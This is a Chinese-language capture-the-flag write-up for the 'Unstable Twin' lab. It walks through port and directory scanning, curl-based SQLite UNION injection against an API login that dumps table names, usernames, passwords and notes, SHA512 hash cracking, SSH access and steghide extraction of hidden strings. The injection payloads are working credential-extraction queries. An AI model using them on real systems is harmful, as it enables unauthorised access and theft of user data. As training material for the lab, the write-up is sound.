Unstable Twin
一、信息收集
使用nmap对网站ip的开放端口进行扫描
nmap -sS -sV -A -Pn 10.10.187.113
开放了22端口和80端口
使用dirsearch扫描一下看看还有没有其他目录
dirsearch -u http://10.10.187.113 -e php,html,txt -t 100
这里我访问网站网站显示一片空白课,我以为是我哪里出错,后面看了wp发现这里要对API的目录进行爆破
dirsearch -u http://10.10.187.113/api -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -t 100
发现在api下面有个登录页面 login 但该 URL 不允许你当前使用的 HTTP 方法。
HTTP方法不对
-
默认浏览器使用 GET 请求
-
但是接口只允许 POST,所以返回 405 Method Not Allowed
API 不是普通网页
- 你访问的是一个 RESTful API 接口,不是 HTML 登录页面
- 浏览器直接访问通常会报错,而 curl 可以用
-X POST
正确调用接口
这里我们使用curl看看服务器响应
curl
是一个非常常用的命令行工具,用于在终端或脚本中发送 HTTP/HTTPS 请求以及其他协议请求(FTP、SMTP、SFTP 等),并获取服务器响应。
curl -v http://10.10.187.113/info
这里我发现一半时间我们的版本是 1.3.4-dev
,一半时间我们的 版本是1.3.6-final
,服务器名称是也是一样 Vincent
和 Julias
二、渗透利用
我们尝试对login用弱口令登录一下
我们将POST 数据格式传输的命令格式改为json格式
curl -v -X POST 'http://10.10.187.113/api/login' -d '{"username":"admin","password":"admin"}'
成功与服务器获得交互,并且报错了,我,们看看这里数据库有没有sql注入
curl -X POST 'http://10.10.213.54/api/login' -d {"username":"admin' OR '1'='1","password":"x"}
这里发现一个很有意思的情况,我输入命令的时候一半是有结果的一半是没有结果的,可能跟前面服务器不同有关系
这当我们输入测试语句后也是成功和数据库进行交互了 这样我们可以在这里进行手工测试发现数据库了是SQLite的
curl -X POST 'http://10.10.213.54/api/login' -d "username=admin&password=admin'UNION SELECT 1,sqlite_version()--"
在SQLite里面没有database的概念只有文件名,我们直接查表名就行了
获取所有表名(拼接成一行)
curl -i -X POST 'http://10.10.213.54/api/login' \ ✔ -H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(name,',') FROM sqlite_master WHERE type='table')--&password=x"
获取列名
curl -i -X POST 'http://10.10.213.54/api/login' \-H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(name,',') FROM pragma_table_info('users'))--&password=x"
获取用户/密码
curl -i -X POST 'http://10.10.213.54/api/login' \-H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(username||':'||password,',') FROM users)--&password=x"
刚刚在看表名的时候还有一个notes的表看看里面有什么东西
curl -i -X POST 'http://10.10.213.54/api/login' \ ✔ -H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(name,',') FROM pragma_table_info('notes'))--&password=x"
查询密码
curl -i -X POST 'http://10.10.213.54/api/login' \ ✔ -H 'Content-Type: application/x-www-form-urlencoded' \--data "username=admin' UNION SELECT 1,(SELECT group_concat(user_id||':'||note_sql||':'||notes,',') FROM notes)--&password=x"
三、哈希爆破
这里给了一段密码
eaf0651dabef9c7de8a70843030924d335a2a8ff5fd1b13c4cb099e66efe25ecaa607c4b7dd99c43b0c01af669c90fd6a14933422cf984324f645b84427343f4
这里我们使用haiti识别一下这段密码
发现这里是用SHA512加密过多 我们使用hashcat对这段密文进行爆破
得到破译后的密码 experiment
我们使用ssh登录,mary_ann 因为上面测试出来只有这个用户的密码没有出来
拿到user.flag
四、隐写术
这里给了我们一段提示已经找到了靶场里的 notes
表或笔记信息你需要获取每个人的图片(image)除了找到所有家人的图片,还要找到自己的图片
我们需要找到这些图片 看了太麻烦了看了一眼wp 这些图片藏在/opt下面
这我看了wp 反正我使用scp打包文件再使用kali下载 和开启http服务都不能下载图片 在wp里面写着还有一个隐藏的目录/get_image 可以通过字典扫描出来,我们通过这个目录下载这些图片
names=("Arnold-Schwarzenegger" "Danny-DeVito" "Bonnie-Bartlett" "Kelly-Preston" "Chloe-Webb")
for name in "${names[@]}"; docurl -o "${name}.jpg" "http://10.10.213.54/get_image?name=${name}"
done
如果这个用不了就老实一个一个下载吧
wget http://10.10.213.54/get_image\?name\=mary_ann
wget http://10.10.213.54/get_image\?name\=julias
wget http://10.10.213.54/get_image\?name\=linda
wget http://10.10.213.54/get_image\?name\=marnie
wget http://10.10.213.54/get_image\?name\=vincent
我们使用setghide对里面的文件逐一提取
在数据库注入那会每个姓名对应一种颜色 这里提示让我们根据彩虹颜色顺序来进行排列
Red - 1DVsdb2uEE0k5HK4GAIZ
Orange - PS0Mby2jomUKLjvQ4OSw
Yellow - jKLNAAeCdl2J8BCRuXVX
Green - eVYvs6J6HKpZWPG8pfeHoNG1
组合一下就是:1DVsdb2uEE0k5HK4GAIZPS0Mby2jomUKLjvQ4OSwjKLNAAeCdl2J8BCRuXVXeVYvs6J6HKpZWPG8pfeHoNG1
这是一段base62编码 拿去厨房解码一下https://gchq.github.io/CyberChef
最后:不知道是我的问题还是这个靶场的问题 这个靶场的wp我写了很久,有很多奇怪的问题太难受了